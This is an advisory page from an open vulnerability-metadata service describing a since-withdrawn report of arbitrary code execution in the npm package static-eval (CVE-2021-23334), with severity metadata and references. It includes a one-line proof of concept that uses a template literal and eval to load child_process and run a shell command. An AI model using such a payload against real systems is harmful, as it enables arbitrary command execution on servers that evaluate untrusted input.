Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh2MjctMmZnOS03aDYy
Withdrawn: Arbitrary Code Execution in static-eval
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
WITHDRAWN
This was deemed not a vulnerability. See this issue for details.
Permalink: https://github.com/advisories/GHSA-8v27-2fg9-7h62JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh2MjctMmZnOS03aDYy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 2 years ago
Updated: 4 months ago Widthdrawn: about 2 years ago
CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-8v27-2fg9-7h62, CVE-2021-23334
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-23334
- https://github.com/browserify/static-eval/blob/master/index.js%23L180
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860
- https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765
- https://github.com/advisories/GHSA-8v27-2fg9-7h62
Affected Packages
npm:static-eval
Versions: <= 2.1.0No known fixed version